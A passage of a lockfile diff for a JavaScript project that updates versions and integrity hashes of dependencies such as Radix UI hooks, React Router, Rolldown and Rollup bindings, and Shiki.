"sha512-MojKku4U/miO8Av4Dkb+ctMAQx7JmY96LmtDQlAarCRtd7rN52QCSzBF+XAvr5S6coSVj9HEPBgHAHKEJVk/WA=="], + "@radix-ui/react-use-is-hydrated": ["@radix-ui/react-use-is-hydrated@0.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-umO/aJ+82CpOnhDZUTbILCQf7kU/g0iv+oGs/Q8jw7IkhWBzaEP4sA268PhFAJTFetbwp3ICc6ktpI4TqtxcIw=="], - "@radix-ui/react-tabs": ["@radix-ui/react-tabs@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-roving-focus": "1.1.13", "@radix-ui/react-use-controllable-state": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-kxc9gI6/HfcU4nfMMVS3AmQK414kbU1IE6UCJmMmxjhO3cRPXOyYnmvyKD+ODt7q56nRq9l7Wovi6uaGwKgMlg=="], + "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-K20DkRkUwDnxEYMBPcg3Y6voLkEy5p5QQmszZgLngKKiC7dzBR/aEuK3w1qlx2JWDUNH6FluahYdgR3BP+QbYw=="], - "@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-xCso9j1/u8sEgP1RNHjFrXJLApL8LiqOkI1R4ywuN00rxWdYg4oQXuwKLS3i0j5NWLromUD27/4nlxj2UFVvIw=="], + "@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-XoSLhbRbqxFtgJoi2fNHA3C6pDlY34x508vUpUGoFZfvePfHXHbE1lC4FYFMnJWgiCRroSTw6fOsXQoVS9RwZg=="], - "@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.2", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg=="], + "@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.4", "", { "dependencies": { "@radix-ui/rect": "1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-cSOCh6JlkmfjLyNcLiu2nB4v+nm+dkZ+Q5KHWk/soo4U7ZLiEQFKHK9/YmtBHjfCEaU43IBKQOc4/uJmCaiCTQ=="], - "@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA=="], + "@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.4", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-D3anSY15EJoxrihpsXI6SMrmmonnQtR2ni7arO+Lfdg3O95b9hNXxONk8jA5C8ANdF/h5HMAxejgs8PWJ6rlhw=="], - "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.2", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-2uVLvLjgO7NZCWw01/FdqRwmA42J0BcjPMUCA+koFEOAb+zjqIP7SiFz/7zWPrKnVmSqr76Omq2ALyCuX4dhLw=="], + "@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.2.11", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.10" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-NFS86RYYZb4/exihaESBGOpMJFz8MGLAfu3mOBSGByVnVPC9JPASfYubxd/8KbkQK0sYAv8lVQDEQukDX/qXvQ=="], - "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jrBWOxZITuGcnjRCM2t2U5ZPkCLxD+Ym6DjfssS5haTj2iiak/DOb64JeN6OdLfLgptb6/e2kKR+ZuTrGoZTPA=="], + "@radix-ui/rect": ["@radix-ui/rect@1.1.3", "", {}, "sha512-JtyZR+mqgBibTo8xea3B6ZRmzZiM/YeVBtUkas6zMuXjAlfIFIW2FgqeM9eLyvEaYX66vr6DJMK+4U6LV0KhNw=="], - "@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-IGBQPtRFdhN6MQ8dbegVmBq1LVZluya3F1jWY+puIcQC3MHctRwTDSBWCkL/3ZcnMJLTMJ++Z+ktmvg0F89iCw=="], + "@react-router/dev": ["@react-router/dev@8.3.1", "", { "dependencies": { "@babel/core": "^7.29.7", "@babel/generator": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7", "@react-router/node": "8.3.1", "@remix-run/node-fetch-server": "^0.14.1", "babel-dead-code-elimination": "^1.0.12", "chokidar": "^5.0.0", "dedent": "^1.7.2", "es-module-lexer": "^2.1.0", "exit-hook": "5.1.0", "isbot": "^5.1.40", "jsesc": "3.1.0", "lodash": "^4.18.1", "p-map": "^7.0.4", "pathe": "^2.0.3", "picocolors": "^1.1.1", "pkg-types": "^2.3.1", "react-refresh": "^0.18.0", "semver": "^7.8.1", "tinyglobby": "^0.2.16", "valibot": "^1.4.1" }, "peerDependencies": { "@react-router/serve": "^8.3.1", "@vitejs/plugin-rsc": "~0.5.26", "react-router": "^8.3.1", "react-server-dom-webpack": "^19.2.7", "typescript": "^5.1.0 || ^6.0.0 || ^7.0.0", "vite": "^7.0.0 || ^8.0.0", "wrangler": "^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.cjs" } }, "sha512-yvhMiOq+LLmGPgTOYYWjzfapUN4B2/T3nfr8P81bLTiyh0YSx88OAz5y2D/KKS0boF9EoHyhzeMH4ZweMTwjJA=="], - "@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.2", "", { "dependencies": { "@radix-ui/rect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-d8a+bBY/FxikNPlgJJoaBHZX+zKVbWHYJGTLnLvveQgFSTntkGdEKv3JDtHrMS0DNYpllz2nRsTLGLKYttbpmw=="], + "@react-router/node": ["@react-router/node@8.3.1", "", { "dependencies": { "@remix-run/node-fetch-server": "^0.14.1" }, "peerDependencies": { "react-router": "8.3.1", "typescript": "^5.1.0 || ^6.0.0 || ^7.0.0" }, "optionalPeers": ["typescript"] }, "sha512-JQI2vPd0twfHXxRxD1QWxKkCfu5I7bxojgEZFL97EvbJLm1B6p4qeqvGc9hl9g/3ZYbieczQY6ElM3zZjiG4sA=="], - "@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-giWQp+4mxjBPt4KZ0MmyuykFNWfbDxKt4x+fPkRYmgRFJSbCZFzUglvMb/Kjn38tm10YP4ufiQZDx3zna4LU6w=="], + "@remix-run/node-fetch-server": ["@remix-run/node-fetch-server@0.14.1", "", {}, "sha512-pKenF5ysIN5lDCnCyvoUxDhKP0tfnGagvGbZh01xxHG6DJXSIXWVC9NpLSDGjxcxd1CKdCOKuZFleXBF3pChIg=="], - "@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.2.6", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-jCE0WljWifTI4niIMCll06kGpsJTAPiZVU9H4WR1N6qW7At9ystHbN7dDB+we2xH535roFHj7qKS+RGj0FMDWQ=="], + "@rolldown/binding-android-arm-eabi": ["@rolldown/binding-android-arm-eabi@1.2.6", "", { "os": "android", "cpu": "arm" }, "sha512-b+jTcARdTiFLI6jB4a5XjTm0RWd6KcRfQj/I2356fxUZemiho9zQLxo0RtCuMDAyKcLo6cEltkgbQp6d1+sjjQ=="], - "@radix-ui/rect": ["@radix-ui/rect@1.1.2", "", {}, "sha512-xnXE7wG13PI+cxieVssYXlQJuYVRhH9NBoxt3KNwzghDIA69GMm7d4wXRouHIYjE+KvS6U/MsMO73NdS2MH9ZA=="], + "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.2.6", "", { "os": "android", "cpu": "arm64" }, "sha512-lkWU8ZJaRk9q3CIEY1Tc7vIFALp3Xw5NfGJo2hQg5oIqNgxWi1zI+IiDEK3r70BF5Dzol1tcXsnzsRc8NLhG+Q=="], - "@react-router/dev": ["@react-router/dev@7.18.0", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.18.0", "@remix-run/node-fetch-server": "^0.13.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.18.0", "@vitejs/plugin-rsc": "~0.5.21", "react-router": "^7.18.0", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0 || ^6.0.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-GVTFvul0xlZHZyVXyRpiJv54Xfyj4eDOAlGYrzi7kDmN7n40rsrUqX+hvU0fy/41SCDMtckht59R3iGR94703g=="], + "@rolldown/binding-darwin-arm64": ["@rolldown/binding-darwin-arm64@1.2.6", "", { "os": "darwin", "cpu": "arm64" }, "sha512-dgR56NYnvAszm7Ob1B2/Vn0e8bUQYZH2UjVaMMtMVOCKFSfjhfLmuA/9+O+F+ajUdG6B/bSssrKW6JJYASa8jA=="], - "@react-router/node": ["@react-router/node@7.18.0", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.18.0", "typescript": "^5.1.0 || ^6.0.0" }, "optionalPeers": ["typescript"] }, "sha512-pRXJahLrdVfuVbaTpWsZ89mBuGiYH3Z4y+y1UidwxmJFKk6NjMyUvkJl3FjDWdD+nSlgFPSESUZS0hF560MUUQ=="], + "@rolldown/binding-darwin-x64": ["@rolldown/binding-darwin-x64@1.2.6", "", { "os": "darwin", "cpu": "x64" }, "sha512-vpVxFvUCFioJqug7OTvqptkc4yb8UX0AwfDmJpaR/0sWz+BUmqSVAf7c8JkUgnN8YLspb4a/N6NhTyMAmdyQ7Q=="], - "@remix-run/node-fetch-server": ["@remix-run/node-fetch-server@0.13.3", "", {}, "sha512-UfjOXed/DQteaM5VyTfqTeGpHwyL2J5aoRGY6cydip4tt1ehNNeSwuXCC7AEGE0RWBs/7bgKxYkL/B/+UDe4AA=="], + "@rolldown/binding-freebsd-x64": ["@rolldown/binding-freebsd-x64@1.2.6", "", { "os": "freebsd", "cpu": "x64" }, "sha512-h1wG6Y6K3JlRswxsI64qQJqBAy4vrLuHgRbc8CZMGSWTOFRY6ghMApM1NKzB2I0n5xV1fjkE18SuVl2QpLeNpA=="], - "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.1.3", "", { "os": "android", "cpu": "arm64" }, "sha512-DT6Z3PhvioeHMvxo+xHc3KtqggrI7CCTXCmC2h/5zUlp5jVitv7XEy+9q5/7v8IolhlioawpMo8Kg0EEBy7J0g=="], + "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/binding-linux-arm-gnueabihf@1.2.6", "", { "os": "linux", "cpu": "arm" }, "sha512-tbCiqub0q2MVWJKgF5PoAlNWCtQydiOYSLIkd8sByqK/6MMYLJRcSXSYodqYtd0O+Fw7QaVmKKlS4oL94YRZ0w=="], - "@rolldown/binding-darwin-arm64": ["@rolldown/binding-darwin-arm64@1.1.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-0NwgwsjM7LrsuVnXMK3koTpagBNOhloc/BNjKqZjv4V5zI5r13qx69uVhRx+o5Z0yy4Hzq+lpy7TAgUG/ocvrw=="], + "@rolldown/binding-linux-arm64-gnu": ["@rolldown/binding-linux-arm64-gnu@1.2.6", "", { "os": "linux", "cpu": "arm64" }, "sha512-oxK9+baEBPhZG5HB4URY+uU04zJWeZlH6Tb9rB5DK4DF9XR1uXNLXt5Q5ZsugTKayNCNLhkcwz/ye74hRI98dg=="], - "@rolldown/binding-darwin-x64": ["@rolldown/binding-darwin-x64@1.1.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-YtiBp4disu6V560loT6PjMdiRaWmVvDNrUunAalbiFx2ggeJwxdAsgZMcoGP17uyAsTwAj5V1niksxlHnVQ1Sw=="], + "@rolldown/binding-linux-arm64-musl": ["@rolldown/binding-linux-arm64-musl@1.2.6", "", { "os": "linux", "cpu": "arm64" }, "sha512-muWCk27FVBEZtv0MsK8gnfSmgczA8KQ0uRVJbTABKhkRfQc38aUrcb7fhi3BNiyseFmgcRsoMfQsSNJ+DbZdSw=="], - "@rolldown/binding-freebsd-x64": ["@rolldown/binding-freebsd-x64@1.1.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-yD3EkEdXk2LypPxnf/kSZHirarsI8gcPzc62SukhR9VJTyvV+F9Q/GxWNuCojc7sXyuVC4DxRGhdDK4X8VSsbw=="], + "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/binding-linux-ppc64-gnu@1.2.6", "", { "os": "linux", "cpu": "ppc64" }, "sha512-eWDoSfU7Co2qj3vgB3Dt4lj1mG6CoWbcJQkRMP3XJplyCMtuaq3LHvPFjS9QIPvMGWVadJC04Xiy0IdcVPtnwQ=="], - "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/binding-linux-arm-gnueabihf@1.1.3", "", { "os": "linux", "cpu": "arm" }, "sha512-c+8vieQbsD7HNAHKIA34w0GJ9FedFFuJGD+7E6vz7Q3uqAIugL5p45fhlsj4UaAsHpcmlqugBWMhA0/j7o0sIg=="], + "@rolldown/binding-linux-s390x-gnu": ["@rolldown/binding-linux-s390x-gnu@1.2.6", "", { "os": "linux", "cpu": "s390x" }, "sha512-2bWNjRSIayvupRKxXUY2tWG9fYdoUlTqWywHRvE8Eq3GvuQ+f2HeIkve697fIt+IQs/PV8yFsdWuhp1aJ1PdnA=="], - "@rolldown/binding-linux-arm64-gnu": ["@rolldown/binding-linux-arm64-gnu@1.1.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-50jD0uUwLvur7Zz9LHz17kaAdTPjn5wN93hEgjvmYFRZwiR7ZJYovTd5ipyWJDAnXKvZ+wgc+/Ika6dwSF5OcA=="], + "@rolldown/binding-linux-x64-gnu": ["@rolldown/binding-linux-x64-gnu@1.2.6", "", { "os": "linux", "cpu": "x64" }, "sha512-KekI0gS0wLxe1UBSQSjenBVwou/JkcQPDzBPICGZjxUv9k3RteHDPBQaiOicZUFKRIH2wKEimGwVpnJsbPzu7w=="], - "@rolldown/binding-linux-arm64-musl": ["@rolldown/binding-linux-arm64-musl@1.1.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-BO9+oPL8K9poZJBfYPsXNtYjPE5uM3qeehT3aFcW4LITOl+iSqhp0abzjR2nWBUNjIZeKXjAEWBZ64WjNoHd6w=="], + "@rolldown/binding-linux-x64-musl": ["@rolldown/binding-linux-x64-musl@1.2.6", "", { "os": "linux", "cpu": "x64" }, "sha512-TvtPnfVr+HtyGiDmPK4VWmlNm7QhNNAcK5Q9A7aOXsI8545yCyaoMaicXrFZ72JzeYjaUVk7yT243zT0jzjFKQ=="], - "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/binding-linux-ppc64-gnu@1.1.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-f3VpLB1vQ0Eo6ecr/6cekLnvYMFF4YBFoVGkfkvPLq1bAkbAwHYQPZKoAmG6OJyTcxxoC+AvezGx/S1obNC0Mw=="], + "@rolldown/binding-openharmony-arm64": ["@rolldown/binding-openharmony-arm64@1.2.6", "", { "os": "none", "cpu": "arm64" }, "sha512-iOo0VEay2XFhaCcH0sps5XIimkSuOnNaZrf6+ZkoSOQBJPKNU48RkmJv0/lSpipexu5P+ouFgafe5IGr/DiQfg=="], - "@rolldown/binding-linux-s390x-gnu": ["@rolldown/binding-linux-s390x-gnu@1.1.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-AmurZ26Pqx/RI9N1gzEOCklkKXl927yjfXWUUS0O7Puh8ARM/Ob8qfrD3qnWksScdw6cSrW5PSHE9DyLu7+PtA=="], + "@rolldown/binding-win32-arm64-msvc": ["@rolldown/binding-win32-arm64-msvc@1.2.6", "", { "os": "win32", "cpu": "arm64" }, "sha512-y5NTmmasMS455JlOCO4ZM9krIchv3Mvm1crL1iUPGOPgEzSkves9n0SdC5Sjz6+qWDFhd8/JpfWMH8NSWNHe+A=="], - "@rolldown/binding-linux-x64-gnu": ["@rolldown/binding-linux-x64-gnu@1.1.3", "", { "os": "linux", "cpu": "x64" }, "sha512-JJpqs8bRGITDOdbkNKnlojzBabbOHrqjSvDr0IVsZObE1lBcPjxItUEY9eWIDbxaJ3cGrXPWGfGkIxFijg/URg=="], + "@rolldown/binding-win32-x64-msvc": ["@rolldown/binding-win32-x64-msvc@1.2.6", "", { "os": "win32", "cpu": "x64" }, "sha512-np8iZSLfXlAD4kWhiyq/u0Yt8oZDtRQ8lGhQaCXo2rl37KNjeU0GjJuwr4P3oeZ++ROfofsKNBqR5LTO8aXyWQ=="], - "@rolldown/binding-linux-x64-musl": ["@rolldown/binding-linux-x64-musl@1.1.3", "", { "os": "linux", "cpu": "x64" }, "sha512-rSJcdjPxzA/by/6/rYs+v+bXU7UjvnbUWz8MJb6kh6+knqB1dCrtHg0uu7C/4haqJvqdkYHQ5IGn+tCH9GLW/g=="], + "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.1", "", {}, "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw=="], - "@rolldown/binding-openharmony-arm64": ["@rolldown/binding-openharmony-arm64@1.1.3", "", { "os": "none", "cpu": "arm64" }, "sha512-hQ3/PYkDJICgevvyNcVrihVeqq7k1Pp3VZ9lY+dauAYUJKO+auqApvANhvR1An9BhmqYKvW2Mu1F9u4DXSMLxQ=="], + "@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.63.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-FQNqd1lRy/0QhDk3xeRIkSBiCpXCiDnZO3YLVdcDKN1UBiKToNftCzcXYNLshmPDUMlu2TdeS8tGcsU6f3YF1Q=="], - "@rolldown/binding-wasm32-wasi": ["@rolldown/binding-wasm32-wasi@1.1.3", "", { "dependencies": { "@emnapi/core": "1.11.1", "@emnapi/runtime": "1.11.1", "@napi-rs/wasm-runtime": "^1.1.6" }, "cpu": "none" }, "sha512-Elcv/BtML9lXrV6JuKITc/grN2kYV9gjsQpW8Jfw4ioK0TOkjBjye0nnyqQNy9STNaI20lXNaQBRrD5gSgR0Yg=="], + "@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.63.1", "", { "os": "linux", "cpu": "x64" }, "sha512-gfI5T24WLLuFfSKw7Go/zDXjAAV0fny0swTaDv+WjK7vqcw4cRhFfdsyKL1n+ukI+ooBxn3bVQnyrn06WpI50w=="], - "@rolldown/binding-win32-arm64-msvc": ["@rolldown/binding-win32-arm64-msvc@1.1.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-2DrEfhluH9yhiaFApmsjsjwrSYbNcY1oFTzYSP1a535jDbV98zCFanA/96TBUd0iDFcxGmw9QRExwGCXz3U+/g=="], + "@run-slicer/cfr": ["@run-slicer/cfr@file:vendor/cfr", {}], - "@rolldown/binding-win32-x64-msvc": ["@rolldown/binding-win32-x64-msvc@1.1.3", "", { "os": "win32", "cpu": "x64" }, "sha512-OL4OMk7UPXOeVGGd3qo5zJyPIljf4AFgk5QAkPPS+OoLuOOozhuaQGC18MxVTnw/06q93gShAJzlwnSCY9YtqA=="], + "@shikijs/core": ["@shikijs/core@4.4.3", "", { "dependencies": { "@shikijs/primitive": "4.4.3", "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5", "hast-util-to-html": "^9.0.5" } }, "sha512-QCR4q2ZO/ILJEuwiBMel4wdcTDb1JGwfjKTxPDF6x8ixOaluPrVqIn06C99AcRPhmYlBR56d/Fb+GN58GzExpg=="], - "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.1", "", {}, "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw=="], + "@shikijs/engine-javascript": ["@shikijs/engine-javascript@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.6" } }, "sha512-FbOjFJp9VLdo1Wevs10BBtVxiTWwNLqZh5Gkhjgda/ioL15YOgeSl9n+6XMa3qRlPQzfhFNe641SrynFHYG0nQ=="], - "@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.62.2", "", { "os": "android", "cpu": "arm" }, "sha512-6o7ZLZK+BeenkZCFNDXqpbjw9bD6nuWonvS/lwQJp7NoVVxm6p3qE7qQ5jGuBjiFsgvqjD8mZAU5oWxTmbOeOg=="], + "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-EcOQkxdxGQrc1Row/cC2c96/v1dbZqGnEVu1qTuT/MJmp6+cXCvQussowVmCv5Tqr3KuY3c7IbM6HTW3LJ1k9w=="], - "@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.62.2", "", { "os": "android", "cpu": "arm64" }, "sha512-BaH7BllCACHoH1LguOU56UItGfUWjujlO65kS9LAodViaN4bwIKd7oeW/ZHJ/4ljr/7MIiENnNy3HJ0zXv8Zkw=="], + "@shikijs/langs": ["@shikijs/langs@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3" } }, "sha512-ePic0yfAJGOF83D5wBHK/00EjK65oahBYxFk5epgq33WRv7X9UuxLEV8PtR0szC0z8dl7INIpIodB99JRFlR+A=="], - "@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.53.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA=="], + "@shikijs/primitive": ["@shikijs/primitive@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5" } }, "sha512-m0wBeLDQDeIxRdUmrCPdQqfuUamDwRL5isCfYbguKD6NiaKpVbsv+3J81DyIKgNW5h4WAIIr8T4EkgQrBBxvaQ=="], - "@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.62.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-yl0y2vq3S3lHeuXhEdss6TWfKW8vkujImO12tn4ZkG/4oghr09LvdYm2RElVjokTQiUvDUGXLGsYeLqUMCKpGA=="], + "@shikijs/themes": ["@shikijs/themes@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3" } }, "sha512-w8UHjeUnIR965KMWJHUPXOc2mNJUnK3vpVLYLvw5IYU2mnTTJ89E24OrJDBNiJDQ0qzb0tc4l7mrIXx5cFeIyw=="], - "@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.62.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-tT4pvt4qXD+vEoezupCWi+a1F0vvDiksiHc+PxRlYTOH1I6/X4id9jPxTP+Fg+545euaFT1jJVs4CEdHZAU1vw=="], + "@shikijs/types": ["@shikijs/types@4.4.3", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5" } }, "sha512-UEJxmRR++MAGR6hugn0vgVS2W/6lWAts84FFSrnlH9sP0LNol7E5+NQ792pH8liWUhyMyjhTgSUH3k7iD7tc5g=="], - "@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.62.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-6nU5F2wCW+qvCBhTn1pdIU3bzsIoF7EUwsCDRxilWGprQR6yd508YnH9+OKFCwpfS8pjZqDUmnCAr7exax0XCg=="], + "@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="], - "@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.62.2", "", { "os": "linux", "cpu": "arm" }, "sha512-n1GJHPOvpIfhi3TmrCeh6S6URt9BFCt0KQE3qvexyGCTAKpR4Lg+eWvNZEqu7epxwus/8ElT3hacYEucm49SZg=="], + "@solid-primitives/event-listener": ["@solid-primitives/event-listener@2.4.6", "", { "dependencies": { "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-5I0YJcTVYIWoMmgBSROBZGcz+ymhew/pGTg2dHW74BUjFKsV8Li4bOZYl0YAGP4mHw5o4UBd9/BEesqBci3wxw=="], - "@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.62.2", "", { "os": "linux", "cpu": "arm" }, "sha512-JqgflS8wEB+UXV/vS1RpRbifGBeN4D5lz8D8oOFbFZw4vedvdOgCFAjfBmIMdW3yL10XpQQ0Ambepw6MXrhOnA=="], + "@solid-primitives/keyboard": ["@solid-primitives/keyboard@1.3.7", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.6", "@solid-primitives/rootless": "^1.5.4", "@solid-primitives/utils": 